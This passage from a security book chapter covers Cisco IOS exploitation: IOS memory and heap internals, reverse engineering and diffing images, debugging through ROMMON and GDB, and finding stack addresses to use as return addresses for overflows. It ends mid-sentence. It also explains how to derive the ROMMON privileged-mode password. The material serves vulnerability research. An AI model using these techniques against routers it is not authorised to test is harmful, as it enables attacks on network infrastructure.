CHAPTER 13

# Cisco IOS Exploitation

Cisco Systems is the primary provider of routing and switching equipment for the Internet and many, if not most, corporate networks. As the routing and switching gear develops and becomes increasingly complex, it provides a plethora of additional services besides simple packet forwarding. Additional functionality, however, requires additional code—code that breaks and might be exploited.

In the past, only a few security researchers have publicly worked on attacks against this widely used platform. Part of the reason for this is the general unavailability of the expensive Cisco equipment to a broader audience. Another factor might be that common operating system platforms are much easier to work with and require less intimate knowledge to achieve the same results.

However, with the advent of advanced protection mechanisms in both the Windows and the Linux world, more researchers might turn to the comparatively weakly protected platforms on which the Internet runs.

## An Overview of Cisco IOS

Cisco Systems sells a plethora of different products. In the earlier days of the company, most these products ran the Cisco Internetworking Operating System, or IOS. In the current product line of Cisco Systems, only the routing and

switching gear still run IOS. Despite this development, attacking systems running IOS is still very interesting due to the extremely large installation base and the fact that routers and switches are almost never updated to newer versions of IOS. Why update a router when they are never actively exploited?

Because Cisco IOS has its roots in the early days of the company, it is designed to run on routers with little processing power and little memory. The primary task was to provide software that would initialize and manage the hardware and forward packets as fast as it could. Consequently, Cisco IOS has only limited parallels with state of the art multi-user, multitasking operating systems.

## Hardware Platforms

Cisco routing and switching gear comes in different sizes, ranging from small desktop boxes to the large 12000 series systems occupying a complete 19-inch rack from top to bottom. The respective hardware architecture differs significantly. Whereas the smaller routers' hardware design is comparable to general-purpose platforms such as PCs, the larger devices contain increasingly more specialized dedicated hardware to which the task of switching packets from one interface to another can be offloaded, up to the legendary route-switch-fabric of the 12000 series. This has the effect that the main processor's power does not have to scale with the supported bandwidth of the overall router.

The IOS operating system is always executed on the main CPU. Cisco uses several CPU architectures in its equipment. In the older access layer routers, such as the 2500 series, the main CPU was a Motorola 68000. The 7200 series enterprise and WAN routers as well as some of the recent line cards use 64-bit MIPS CPUs. Currently, the most common CPU in Cisco's equipment is the 32-bit PowerPC, which is used in the widely deployed 1700 and 2600 series routers, the latter selling over two million times before the end-of-sale was reached in April 2003.

When you are working on an attack against a Cisco router, it is relevant to understand if you are attacking software running on the main CPU or something that is offloaded to either specialized hardware or an extra line card. A vulnerability triggered by a specific traffic pattern might just as well crash specialized acceleration hardware and not, as expected, the main operating system.

## Software Packages

IOS is deployed as a monolithic system image. Recently, Cisco has started to announce modular IOS versions and begun to deploy them into the field, but the large majority out there is still the monolithic image format. At the time of

writing, April 2007, Cisco's FTP server offers 18,257 different IOS builds. This is an important fact to remember when working on exploits, because each and every build has different memory addresses, functionality, and code generations. There will never be the single universal return address as exists for Windows 2000 and XP.

Some of the IOS builds are more widely used than others. IOS releases are separated by their release train with different features and target customer groups. A letter following the IOS version number denotes the train. The important ones are:

- The mainline train does not have a special letter and is shipped by default. This is the most stable version of IOS and in general the most widely used one.
- The "Technology" train contains new features not mature enough for the main line and is denoted by a **T**.
- The "Service Provider" train is geared toward ISPs and is denoted by an **S**.
- The "Enterprise" train is the opposite of the Service Provider train and is mostly used on enterprise core routers. It is denoted by an **E**.

Besides the version and the train, it is also of interest to the researcher on what platform the respective image would run and what features it would provide. Unfortunately, the possible combinations are manifold. The original filename of the image when downloaded from Cisco includes the platform, feature codes, IOS version major number, minor number, release number, and train identifier. For example, a c7200-is-mz-124-8a.bin image contains IOS 12.4, release 8a, for a Cisco 7200, supports only IP routing (the "is" would normally mean the IP-Plus feature set, but unfortunately there is an exception for the 7200), is a compressed image, and executes from RAM. Table 13-1 lists the first letters in an IOS image name and their meaning (both Table 13-1 and Table 13-2 are reproduced from `http://www.cisco.com/warp/public/765/tools/quickreference/ciscoiospackaging-eng.pdf`).

**Table 13-1:** First Letters in a Cisco IOS Image Name

| | |
|---|---|
| a | APPN |
| a2 | ATM |
| a3 | SNASW |
| b | AppleTalk Routing |
| c | Remote Access Server |

**Table 13-1** *(continued)*

| | |
|---|---|
| d | Desktop routing |
| dsc | Dial Shelf Controller |
| g5 | Enterprise Wireless (7200) |
| g6 | GPRS Gateway Support Node (7200) |
| i | IP routing |
| i5 | IP routing, no ISDN (mc3810) |
| in | Base IP (8500CSR) |
| j | Enterprise (kitchen sink routing) |
| n | IPX Routing (low-end routers) |
| p | Service Provider (or DOCSIS for uBR) |
| r(x) | IBM |
| telco | Telco |
| w3 | Distributed Director |
| wp | IP/ATM Base Image (8500MSR,LS1010) |
| y/y5 | IP Routing (low-end routers) |
| y7 | IP/ADSL |

Table 13-2 lists the middle name letters and their meaning.

**Table 13-2:** Middle Letters in a Cisco IOS Image Name

| | |
|---|---|
| 56i | Encryption(DES) |
| ent | Plus (only when used with "telco") |
| k1 | BPI |
| k2/k8/k9 | Encryption(DES=k8, 3DES=k9) |
| o | Firewall |
| o3 | Firewall/IDS |
| s | Plus, or "LAN Only" on Cat6K/7600 |
| s2 | Voice IP to IP Voice Gateway (26xx/36xx/37xx only) |
| s3 | "Basic" (limited IP routing, for limited-memory 26xx, 36xx) |

**Table 13-2** *(continued)*

| | |
|---|---|
| s4 | "Basic" without switching |
| s5 | "Basic" without HD analog/AIM/Voice |
| t | Telco Return |
| v | VIP Support |
| v3,v8 | Voice (17xx) - v3=VOICE, v8=VOX |
| w6 | Wireless |
| x(or x2) | MCM |

As you can see from the preceding discussion, there is a wide variety of IOS images, differing in version, platform, and features installed. This makes exploitation of IOS a difficult area to work in because it is significantly harder to find common properties among all the different versions than it is in a Windows or Unix environment that is based on a single binary distribution.

In the future, this will change at least partially with the wider deployment of IOS XR, the next-generation operating system for Cisco routers. XR is using QNX under the hood and has therefore completely different properties than what's out there today. But for now, the legacy IOS images will prevail for quite some time.

## IOS System Architecture

Cisco's IOS is a fairly simple architecture. The operating system is composed from a kernel, device driver code, and processes. Specialized software for fast switching is part of the device drivers.

When you are working on IOS exploits, it is helpful to imagine the entire system as a single MS-DOS EXE program posing as an operating system. IOS uses a run-to-end scheduler, which, in contrast to most other operating systems, does not preempt processes in the middle of their execution but actually waits until the process is finished with a set of work and willingly yields execution back to the kernel.

### *Memory Layout*

IOS does not use any internal protection mechanisms. Memory sections from one process are not shielded in any way from access by another process and IOS makes heavy use of shared memory and global variables and flags accessible from any process.

The memory is separated into so-called regions, as described in Table 13-3.

**Table 13-3:** Cisco IOS Memory Regions

| REGION NAME | CONTENTS |
|---|---|
| IText | Executable IOS code |
| IData | Initialized variables |
| Local | Runtime data structures and local heaps |
| IBss | Uninitialized data |
| Flash | Stores the image (may run from there) and the startup configuration |
| PCI | PCI memory visible on the PCI bus |
| IOMEM | Shared memory visible to the main CPU and the network interface controllers |

All processes share access to these memory regions, which makes protection of cross-process writes impossible but has a significantly lower overhead than the traditional separation in other operating systems.

### *IOS Heap*

Every process has its own stack, which is just an allocated heap block. Storage space for initialized and uninitialized variables is known at compile time and reserved accordingly in the respective region. The heap is shared between all processes. When a process allocates heap memory in IOS, the memory is carved out of the global heap. Accordingly, memory blocks from various processes follow each other. This is visible when inspecting the memory allocation on a router. The following is a trimmed down output of the `show memory` command:

```
Address      Bytes     Prev     Next Alloc PC  what
81FBC680 0000222312 00000000 81FF2B10 8082B394  (coalesced)
81FF2B10 0000020004 81FBC680 81FF795C 8001BC58  Managed Chunk Queue Elements
81FF795C 0000001504 81FF2B10 81FF7F64 80FFEFF8  List Elements
81FF7F64 0000005004 81FF795C 81FF9318 80FFF038  List Headers
81FF9318 0000000048 81FF7F64 81FF9370 811360CC  *Init*
81FF9370 0000001504 81FF9318 81FF9978 81009408  messages
81FF9978 0000001504 81FF9370 81FF9F80 81009434  Watched messages
81FF9F80 0000005916 81FF9978 81FFB6C4 81009488  Watched Boolean
81FFB6C4 0000000096 81FF9F80 81FFB74C 80907358  SCTP Main Process
81FFB74C 0000004316 81FFB6C4 81FFC850 8080B88C  TTY data
81FFC850 0000002004 81FFB74C 81FFD04C 8080EFF4  TTY Input Buf
```

You can see that memory blocks for entirely different tasks are following each other. The entire heap of IOS is one big doubly linked list. The list element's header is defined as follows:

```
struct HeapBlock {
     DWORD Magic;           // 0xAB1234CD
     DWORD PID;             // Process ID of the owner
     DWORD AllocCheck;      // Space for canaries
     DWORD AllocName;       // Pointer to string with the name
                            // of the allocating process
     DWORD AllocPC;         // Instruction Pointer at the time the
                            // process allocated this block
     void *NextBlock;       // Pointer to the following block
     void *PrevBlock;       // Pointer to the previous block's NextBlock
     DWORD BlockSize;       // Size and usage information
     DWORD RefCnt;          // Reference counter to this block
     DWORD LastFree;        // PC when the last process freed this block
};
```

Additionally, every block has a so-called red zone ending after the actual payload. The red zone is a static "magic number" with the value `0xFD0110DF` and is used by the heap integrity checking process to verify that no overflow occurred.

Unallocated memory blocks additionally contain management information that puts them into another linked list for free blocks. The same block is then part of two linked lists: the global heap and the free block list. If the most significant bit of the `BlockSize` field is zero, this block is part of the free block list and a `FreeHeapBlock` structure follows the block header:

```
struct FreeHeapBlock {
     DWORD Magic;           // 0xDEADBEEF
     DWORD unknown1;
     DWORD unknown2;
     DWORD unknown3;
     void *NextFree;        // Pointer to the following free block
     void *PrevFree;        // Pointer to the previous free block
};
```

Obviously, such a multiple linked list heap structure can easily break. Heap corruption is by far the most common cause of a Cisco router crashing. To prevent the IOS from causing havoc due to a corrupted heap, a process called Check Heaps walks the heap lists on a regular basis and verifies their integrity. It performs roughly the following checks:

- Verifies that the block header contains the magic value
- If the block is in use, verifies that the red zone contains `0xFD0110DF`
- Verifies that the `PrevBlock` pointer is not `NULL`
- Verifies that the `PrevBlock` pointer's `NextBlock` pointer points to this block

- If the `NextBlock` pointer is not `NULL`, verifies it points exactly behind the red zone field of this block
- If the `NextBlock` pointer is not `NULL`, verifies that the block it points to has a `PrevBlock` pointer back to this block
- If the `NextBlock` pointer is `NULL` (last block in chain), verifies that it does end on a memory boundary

Apart from the regular checks, these checks are also performed when a process allocates or frees a heap block. None of these checks were introduced for the security of the images, but for apparent stability of the router. Cisco prefers to reboot the machine completely if something is corrupt, so the router will be back online and functioning within minutes—or even seconds—and it may not even be noticed that it restarted. These checks also obviously make exploitation more difficult.

### *IO Memory*

IOS has another specialty when it comes to heap usage: a memory area called *IO Memory*. This region is most important on the so-called shared memory routers, which are named that way because the main CPU shares memory regions with the media controllers and all other parts of the system. The IO Memory is carved out of the available physical memory before the main heap gets allocated and contains buffer pools that are either for general use by routing code or private to an interface. These buffer pools are mostly ring buffers and, although they have a heap-like structure, react in a completely different way to memory corruption attacks. The ring buffer structures are allocated at startup time. Because the algorithms that determine their size are based upon values such as the interface type and MTU, IOS has usually no need to reorganize the buffers at runtime. Therefore, overwriting header information in IO Memory is much less useful because the information will almost certainly not be used and the first to notice the corruption will be the Check Heaps process on its verification tour.

## Vulnerabilities in Cisco IOS

A router operating system offers a different attack surface than a general-purpose operating system connected to a network. There are two general cases where attacker-provided data gets processed by a network router: either the router forwards traffic from one interface to another or the router is the final destination of the traffic, also known as providing a service.

Generally, routers from any vendor try to minimize any processing required for forwarding traffic. Any additional inspection of a single bit of packet data would reduce the forwarding performance and is therefore not desired. Therefore, vulnerabilities in processing transit traffic are rare. The major exception to this rule of course is the inspection of traffic for security filtering.

Services provided by the router, on the other hand, do provide some attack surface.

The most common thing that breaks in IOS is packet parsing code. The root cause is that only minimal packet parsing functions are provided within IOS to the individual developers. It is unknown and unclear why this is the case. We can only assume that repeated function calls are considered too expensive for simple packet parsing code. Therefore, most server implementations on Cisco IOS use pointers to packets and parse them by hand. Obviously, this strategy, while providing high performance, also arguably makes vulnerabilities in the parsing code more likely. The repeated surfacing of parsing vulnerabilities in code that handles IP version 4 is the most obvious proof.

## Protocol Parsing Code

Because IOS supports, depending on the image build, many protocols, the handling routines for these are the most obvious attack point against a router. Experience shows that they are also the most promising. Cisco routers support a wide variety of esoteric protocols, some of which are quite complex to parse. It can be assumed that there are still many vulnerabilities hidden within.

## Services on the Router

On a higher level, the implementation of the actual services is an area of interest. The unavailability of concepts like multithreading and process forking requires the IOS developers to trick their way through multiple and parallel service requests. Consequently, anything with complex states may behave strangely on IOS when put under stress or intentionally provided with conflicting information. This, however, does not hold true for the routing protocols themselves. Distribution and handling of routing information is Cisco's core business and the code, including the state machines, tend to be fairly stable on IOS.

## Security Features

As with every other network security technology, additional filtering and defense mechanisms open new avenues of attack in IOS as well. The more potentially malicious data must be inspected by the software, the more likely

vulnerabilities are. With every new filtering or cryptographic service introduced by Cisco, additional parsing code for complex protocols needs to be added, and this introduces additional attack surface. The prime targets of the near future may be intrusion detection functionality, content filters, and redirectors as well as cryptographic tunnel termination on the router level.

IOS has also suffered from logical bugs in traffic processing. These bugs usually correspond to either traffic filtering code to the effect that IP filtering rules are not applied or are incorrectly applied but may also touch on other areas of packet forwarding. These bugs don't need to be exploited in the typical code execution fashion but can be abused by crafting the right packets. They are interesting because a router forwarding packets differently than the operator thought it would can easily lead to direct access to systems that were considered unreachable for the attacker. This type of bug usually surfaces on the larger router classes. The reason for this is that the general design goal at Cisco is to offload as much packet processing to the hardware as possible. Firewall code, on the other hand, runs only on the main CPU. Therefore, the router must decide when traffic needs to be inspected by the main CPU, although it could be forwarded just in hardware. These decisions are not easily implemented when performance is your primary concern. A number of vulnerabilities in TCP connected versus not connected filter rules in the past have shown this. Every time Cisco comes out with a new hardware acceleration board, it's worth checking this higher level firewall functionality.

### The Command-Line Interface

A less accessible area of functionality is the Cisco command-line interface. The command-line interface distinguishes between 15 different privilege levels. The user level allows very little interaction and the so-called enable mode (level 15) gives full access to the router. Scenarios in which many users have access to the less privileged modes are rare because most network administrators do not allow anyone to log in to their routers. However, there are situations such as monitoring tools during which an attacker might obtain user level access but desire enable mode. In such cases, vulnerabilities in the parsing and handling of the command-line input might come in handy. There have been such cases in the past, for example, format string issues, although these are not directly exploitable due to the absence of the `%n` format specifier.

## Reverse Engineering IOS

Reverse engineering IOS images is not required to find new vulnerabilities; fuzzing will do the job just as well. Unfortunately, once a vulnerability is

found, you need to understand the code context, memory layout at the time of the vulnerability triggering, and what happens afterwards. Therefore, one needs to be able to read the code.

Obtaining images from Cisco requires a CCO account, which is normally limited to special partners. If such an account is not available, IOS also offers the ability to copy the currently used image from the router to a TFTP server. The respective command is as follows:

```
radio#copy flash tftp

PCMCIA flash directory:
File  Length   Name/status
  1   3494896  c1600-y-l.112-26.P4.bin
[3494960 bytes used, 699344 available, 4194304 total]
Address or name of remote host [255.255.255.255]? 192.168.2.5
Source file name? c1600-y-l.112-26.P4.bin
Destination file name [c1600-y-l.112-26.P4.bin]?
Verifying checksum for 'c1600-y-l.112-26.P4.bin' (file # 1)...  OK
Copy 'c1600-y-l.112-26.P4.bin' from Flash to server
  as 'c1600-y-l.112-26.P4.bin'? [yes/no]yes
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!...
```

Apart from the image, the security researcher needs a high performance workstation (the images are not small), a copy of the IDA Pro disassembler, and knowledge of and documentation of the respective CPU architecture.

## Taking the Images Apart

IOS images are shipped with the extension `.bin`. Almost all images are compressed and will be decompressed upon startup. Therefore, the image starts with a preamble binary code section that contains the decompressor. Older images (such as IOS 11.0) for smaller routers would directly start with code. IOS images today come in the form of ELF binaries. Both types contain the decompressor code in the beginning.

Before loading the IOS image into IDA, the preamble code must be cut away to give the real compressed image. The easiest way to do this is to search for the magic value of the ZIP compression library `0x50 0x4B 0x03 0x04` and remove everything before that position. The resulting file should be saved with the `.ZIP` extension and decompressed with any unzip program. Depending on the functionality provided by the image, one or more files would be in the ZIP archive. For a common router scenario, however, only one file will be found.

Once the actual image is obtained, it can be loaded into IDA Pro.

**WARNING** **An image supporting only basic IP routing for a 2600 router will easily take more than 24 hours for the initial analysis run; IP-only 12.4 images for 7200 have taken more than two days on a 3 GHz machine.**

On several architectures, IDA fails to generate the appropriate cross-references. If the strings identified by IDA are not cross-referenced to code locations, an IDAPython script can be used to put them into place.

## Diffing IOS Images

One interesting thing to do with IOS images is to find their differences. When Cisco releases a new version, the chances are good that potentially exploitable conditions were fixed in the new release. Typical things one may find when performing a binary diff between two consecutive IOS releases include initialization of variables that were used uninitialized before, additional sanity checks on packets, or the introduction or removal of entire functions in the packet processing.

To generate a diff between two binary images, SABRE Security's BinDiff should be used. In principle, it generates fingerprints of all functions in the two binaries and matches those functions that have the same fingerprint. If the functions differ but can be identified as being the same due to their neighbors in both binaries, a modification is detected. Because BinDiff works on a per-function basis, the IDA databases for both images need to be structured accordingly. IDA usually fails to identify all functions as such and leaves a large number of code blocks unassigned to any function. But Cisco apparently builds its code using the GNU tool chain, so that in almost all cases, the next function starts exactly where the last ended. To convert all non-function code blocks into functions, the following (crude) IDAPython script can be used:

```
running = 1
address = get_screen_ea()
seaddress = SegEnd( address )

while ( running == 1 ):
     naddress = find_not_func( address, SEARCH_DOWN )
     if ( BADADDR != naddress ):
             MakeFunction( naddress, BADADDR )
             address = naddress;


     if ( get_item_size( address ) == 0):
             running = 0

     address = address + get_item_size( address )
```

```
if ( address == BADADDR):
        running = 0
if ( address >= seaddress ):
        running = 0
```

Again, the runtime of the preceding script can be significant. Once both images were massaged that way, the actual diff process can be started, which again gives the researcher plenty of time to do something else. Once the diff is finished, BinDiff will present a list of changed functions it identified. Right-clicking the respective entry and selecting "visual diff" will allow comparing the two functions as flow graphs with changed blocks and instruction sequences colored.

It should be noted that at least one of the two IDA databases used for the diff should already have descriptive names for important functions, especially ones that deal with crashing the router, logging, and debug output. This simplifies the task to identify changes that could be silent fixes for security relevant bugs, because they often involve new or changed debug output strings.

## Runtime Analysis

Once a new vulnerability is identified and the router can be reproducibly crashed, the researcher must identify the exact type of bug, where it happens, and what could be done with it. Performing this identification process without any runtime analysis tools is cumbersome and not recommended because it boils down to a lengthy trial-and-error process of sending packets and trying to figure out what happens in the dark.

### *Cisco Onboard Tools*

Cisco routers provide some rudimentary onboard tools for debugging crash situations. There are two levels: the crash dumps generated by IOS itself and the functionality of ROMMON.

#### The ROM Monitor

ROMMON is to a Cisco router what an EFI BIOS is to a modern desktop machine. It is a minimal loader code that in turn loads a minimal IOS implementation before the actual main image gets decompressed and started. ROMMON functionality differs significantly between router series. Older and smaller routers have a rudimentary interface that allows only a few boot parameters to be set. Modern routers allow updating of the ROMMON code and provide a much richer set of features.

ROMMON can be used only via the serial console cable, as rudimentary networking code is available only here. While starting the router, the user must

press CTRL+Break to interrupt the regular boot process, which will enter ROMMON.

```
System Bootstrap, Version 11.1(7)AX [kuong (7)AX], EARLY DEPLOYMENT
RELEASE SOFTWARE (fc2)
Copyright (c) 1994-1996 by cisco Systems, Inc.

 Simm with parity detected, ignoring onboard DRAM
C1600 processor with 16384 Kbytes of main memory


monitor: command "boot" aborted due to user interrupt
rommon 1 >
```

When starting the main image from ROMMON (command `boot`), the router remembers this and reacts differently when the main image crashes. In the regular case, the main image will display the crash information and reboot the machine. When booted out of ROMMON, the router returns there after a crash, which allows the researcher to inspect memory locations and CPU register contents and perform some analysis of the general state of affairs:

```
*** BUS ERROR ***
access address = 0x58585858
program counter = 0x400a1fe
status register = 0x2400
vbr at time of exception = 0x4000000
special status word = 0x2055
faulted cycle was a word read

monitor: command "boot" aborted due to exception
rommon 3 > context
CPU Context:
d0 - 0x00000000      a0 - 0x0400618e
d1 - 0x0200f6e4      a1 - 0x0202b1d8
d2 - 0x00000002      a2 - 0xf4000000
d3 - 0x04005bf2      a3 - 0x0207f534
d4 - 0x020700d6      a4 - 0x0207f4f0
d5 - 0xf4000000      a5 - 0x0207beac
d6 - 0x000000d6      a6 - 0x0207f4ac
d7 - 0x00000000      a7 - 0x0207f488
pc - 0x0400a200     vbr - 0x04000000
sr - 0x2400
rommon 4 > sysret
System Return Info:
count: 19,  reason: bus error
pc:0x400a200,  error address: 0xf4000000
Stack Trace:
FP: 0x0207f4ac, PC: 0x0400b3e8
FP: 0x0207f4bc, PC: 0x04005e3a
```

```
FP: 0x0207f4e8, PC: 0x04000414
FP: 0x00000000, PC: 0x00000000
FP: 0x00000000, PC: 0x00000000
FP: 0x00000000, PC: 0x00000000
FP: 0x00000000, PC: 0x00000000
FP: 0x00000000, PC: 0x00000000
```

It's possible to enter a privileged mode in ROMMON. This allows reading and writing memory contents, enabling or disabling arbitrary write protections on NVRAM, and most importantly jumping into any memory location and setting breakpoints. This allows for much easier proof-of-concept development than the trial-and-error method of repeatedly triggering a vulnerability and frees the researcher from the need to keep an undisclosed IOS vulnerability around for testing—which has to be a good thing in terms of security.

The privileged mode of ROMMON requires a password that is machine dependent. First, the machine cookie must be gathered using the appropriate command in ROMMON:

```
rommon 1 > cookie

cookie:
01 01 00 60 48 4f 5e 73 09 00 00 00 00 07 00 00
05 71 49 52 00 00 00 00 00 00 00 00 00 00 00 00
```

This cookie information must be used to calculate the privileged mode password. To obtain the password, consider the numbers printed to be 16-bit hex values and add the first five of them together:

```
  0101
+ 0060
+ 484f
+ 5e73
+ 0900
= b123
```

Depending on the platform, the endianess must be swapped around because the developers of ROMMON on the different machines apparently failed to consider this fact. Make sure that letters in the hex number are entered lowercase. If the calculated value is longer than four hex digits, cut the extra digits to the left (more significant digits). Once the password is calculated, the privileged mode can be entered:

```
rommon 2 > priv
Password:
You now have access to the full set of monitor commands.
Warning: some commands will allow you to destroy your
configuration and/or system images and could render
the machine unbootable.
```

The warning displayed in the preceding code is the only indication that a calculated password actually worked, and you should take it seriously. If a miscalculated password is entered, nothing happens, and the normal ROMMON prompt is displayed. Once in privileged mode, the command `help` shows all the newly obtained powers.

### Crash Dumps

Another very helpful feature is the generation of crash dumps. This feature has also evolved over time, so the information will be much more useful on later IOS versions. Currently, IOS supports writing crash information to the flash filesystem in the machine or on a memory card. It also supports writing a memory dump crash file to a remote location via TFTP. Both features will produce what the currently investigated IOS version offers as dump information. To configure crash memory dumps, you must adjust the configuration of the router:

```
radio#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
radio(config)#exception core-file radio-core
radio(config)#exception dump 192.168.2.5
radio(config)#^Z
```

The feature can be tested without crashing the router by issuing the command `write core`. Early IOS versions will use the configured filename to write the dump via TFTP. Later IOS versions will create two files, one containing the main memory and one containing the IO memory regions of the router, and will append the date and time information as described shortly for crash info files.

With older routers, it is also advisable to log the serial console output during the crash, as the information is not included in the crash dumps. Later models produce a much more detailed crash analysis, the crash info. When a current IOS release crashes, it will write a file named crashinfo_YYYYMMDD-123456 to the flash filesystem, where YYYYMMDD is replaced by what the router considers its current date and 123456 is replaced by a random decimal number. The crash info file can be copied from the router to a host via FTP, TFTP, or RCP. Crash info files contain a wealth of information that a security researcher needs to research a vulnerability:

- Error message (log) and command history
- Description of the image running at the time of the crash
- Output from `show alignment`
- Heap allocation and free traces
- Process level stack trace
- Process level context

- Process level stack dump
- Interrupt level stack dump
- Process level information
- Process level register reference dump

The crash info file generation feature has been available since IOS 12.1 or 12.2, depending on the platform. The process level register reference dump is very useful, because it will automatically try to identify what the register in question is pointing to:

```
Reg00(PC ): 41414140 [Not RAM Addr]
Reg01(MSR):  8209032 [Not RAM Addr]
Reg02(CR ): 22004008 [Not RAM Addr]
Reg03(LR ): 41414143 [Not RAM Addr]
Reg04(CTR):        0 [Not RAM Addr]
Reg05(XER): 20009345 [Not RAM Addr]
Reg06(DAR): 61000000 [Not RAM Addr]
Reg07(DSISR):      15D [Not RAM Addr]
Reg08(DEC): 2158F4B2 [Not RAM Addr]
Reg09(TBU):        3 [Not RAM Addr]
Reg10(TBL): 5EA70B30 [Not RAM Addr]
Reg11(IMMR): 68010031 [Not RAM Addr]
Reg12(R0 ): 41414143 [Not RAM Addr]
Reg13(R1 ): 82492DF0
Reg14(R2 ): 81D40000
Reg15(R3 ): 82576678 [In malloc Block 0x82576650] [Last malloc Block
0x82576504]
Reg16(R4 ): 82576678
Reg17(R5 ): 82576678
Reg18(R6 ): 81F01C84
Reg19(R7 ):        0 [Not RAM Addr]
Reg20(R8 ):     4241 [Not RAM Addr]
Reg21(R9 ):        0 [Not RAM Addr]
Reg22(R10): 81D40000
Reg23(R11):        0 [Not RAM Addr]
Reg24(R12): 22004008 [Not RAM Addr]
Reg25(R13): FFF48A24 [Not RAM Addr]
```

### *GDB Agent*

Although the onboard tools of a Cisco router provide some rudimentary debugging functionality, the researcher usually desires the full set of debugging capabilities, such as setting breakpoints directly in disassemblies, watching the execution flow and reading memory contents. Fortunately, the same holds true for the Cisco engineer trying to debug the latest issue in IOS on a

particular router. Because the entire IOS image behaves much like a very large monolithic kernel, Cisco uses debugging techniques that originally came from the operating system development world.

Cisco IOS supports the GDB serial line remote debugging protocol. This protocol allows a remote host to control a debug target (the router) via a serial interface connection. The GDB protocol is also implemented over TCP, but Cisco doesn't support that mode. The protocol is text-based and is slightly modified from the publicly accessible version in the GNU debugger, so the two are incompatible. SABRE Security released in 2006 a command-line debug front-end tool as well as a debug agent for BinNavi to allow researchers to fully debug devices supporting various dialects of the GDB serial line protocol. Among the supported devices are, of course, some Cisco platforms.

Though a modified version of GDB will also do the trick, the integration into BinNavi comes with the ability to trace code execution paths inside a function or between multiple functions. When looking for vulnerabilities in IOS and crafting packets, the visualization gives a great information base on the code coverage the tests achieve. It also helps to pinpoint why a particular packet is rejected or not, even when the respective debug output from IOS is not very helpful. By setting a breakpoint on the logic block where the actual code flow diverges from the desired one, the researcher is able to inspect the decision-making process and why the packet was rejected instead of processed further.

Cisco and other embedded systems vendors implement the serial line debugging via their standard console. Therefore, you have to switch the console into GDB debugging. This is done on Cisco using the undocumented command `gdb kernel` for debugging the kernel code. Once the command is entered, the system halts and prints a number of pipe characters (like: ||||). This is the preamble of the GDB protocol, so you can now terminate the terminal software and fire up a GDB-enabled serial line debugger to control the device. It is important to remember that once the router is set back to normal operation using a `continue` command, the normal serial console output will reappear, because printing arbitrary information to the console is one of the core functionalities of IOS. The debugger used should be able to handle this situation because disconnecting the debugger at this time is not an option due to the console returning into GDB mode once an exception, such as a breakpoint hit, occurs.

Debugging vulnerabilities and working on ways to reliably execute code on a Cisco IOS router can easily be done using the onboard ROMMON functionality. When working on tricky parsing bugs or developing proof-of-concept shellcode for the platform, the use of a GDB serial line debugger is preferred—if not for the improved functionality, then because using ROMMON will slightly change the way some memory areas are allocated on the router, ruining work on predictable addresses.

# Exploiting Cisco IOS

Once a vulnerability is identified, the previously mentioned techniques for inspection are used to verify which register or memory contents can be influenced. A good indication of a stack-based overflow is an immediate bus error or similar exception. If the heap is corrupted by an overflow, the reaction of the router may take as much as 20 seconds because it may need the Check Heaps process to find that the heap data structures were corrupted. The detection can be sped up by the `debug sanity` command, which enables additional checks for the IOS heap.

## Stack Overflows

Gaining code execution through a stack-based buffer overflow works the same way on IOS as it does on any other platform. The goal is to overwrite a stack location on which a return address for a calling function is stored. The stack on IOS is executable so that returning into the stack buffer presents no problem.

What really comes into play here is the large number of platforms and different IOS images mentioned in the introduction. If the target router model is not known, an attacker would not even be able to tell which CPU is used and, respectively, could not select the right shellcode. The second obstacle is the fact that IOS uses simple heap allocated blocks as process stacks. Therefore, the address of the stack of a process is not stable.

To obtain the stack addresses of a given process, a little detour into the process organization in IOS is required. IOS holds an array of pointers to structures that contain all the process context information. This array can be found using the command `show memory allocating-process`, which will list memory blocks and what process allocated them including what they are used for. The output will also contain entries named `Process Stack` for each process in IOS. To find out what the current stack pointer of that process is, you must first obtain the process ID. This can be done with the process listing command `show processes cpu`. Now, the address of the process array comes in. When you dump the memory of the process array memory block, the array becomes visible:

```
Address  Bytes Prev.    Next     Ref    Alloc Proc    Alloc PC  What
2040D44    1032 2040CC4  2041178    1  *Init*          80EE752   Process
Array
2041178    1000 2040D44  204158C    1  Load Meter      80EEAFA   Process
Stack
204158C     476 2041178  2041794    1  Load Meter      80EEB0C   Process
```

```
radio#sh mem 0x2040D44
02040D40:          AB1234CD FFFFFFFE 00000000      +.4M...~....
02040D50: 080EE700 080EE752 02041178 02040CD8  ..g...gR...x...X
02040D60: 80000206 00000001 080EAEA2 00000000  ..........."....
02040D70: 00000020 020415B4 0209FCBC 02075FF8  ... ...4..|<.._x
02040D80: 02076B8C 0207E428 020813B8 0208263C  ..k...d(...8..&<
02040D90: 020A5FE0 020A7B10 020A8F3C 020C76A4  .._`..{....<..v$
02040DA0: 020C8978 020C9F2C 020CAA30 020CE704  ...x...,..*0..g.
02040DB0: 020D12EC 020D47B8 020D5AB8 020DB30C  ...l..G8..Z8..3.
02040DC0: 020DC5E0 020DD0E4 020DDBE8 020DE6EC  ..E`..Pd..[h..fl
02040DD0: 020E7BE8 020E8304 020E8E08 020E9DBC  ..{h...........<
02040DE0: 020EC5A0 020ED0A4 020EDBA8 020EE6AC  ..E ..P$..[(..f,
02040DF0: 020A0268 00000000 00000000 00000000  ...h............
```

At offset 0x02040D74, the actual array begins. Assuming the process in question would be Load Meter, which has a PID of 1 in the preceding example, the process information struct can now be inspected:

```
radio#sh mem 0x020415B4
020415B0:          020411A0 02041550 00001388      ... ...P....
020415C0: 080EDEE4 00000000 00000000 00000000  ..^d............
```

The second entry in this struct is the current stack pointer of the process. Because Load Meter is executed periodically once every 30 seconds, querying this value a few times will give a stable value. The stack frames of a process can also be queried using the command `show stacks` with the PID of the process:

```
radio#sh stacks 1
Process 1:  Load Meter
  Stack segment 0x20411A0 - 0x2041588
  FP: 0x204156C, RA: 0x80E2870
  FP: 0x2041578, RA: 0x80EDEEC
  FP: 0x0, RA: 0x80EF1D0
```

Using the information obtained, you can find a working return address for the exploited processes' stack. The problem, of course, is that such addresses would be stable only for one or a few of the many possible IOS images used for that particular router model. In general, it is safer to use stacks of processes that get loaded right at startup time. The load order of the early processes is stable, because it is hard-coded in the image. Other processes get loaded later and depend on the configuration or additional hardware modules. Therefore, their load order is not predictable, and their stacks might move around in memory from one reboot to the next.

Depending on the platform that is targeted, you can use partial overwrites of either the frame pointer or the return address to get more stable code execution. Most Cisco gear runs on big-endian machines where partial overwrites

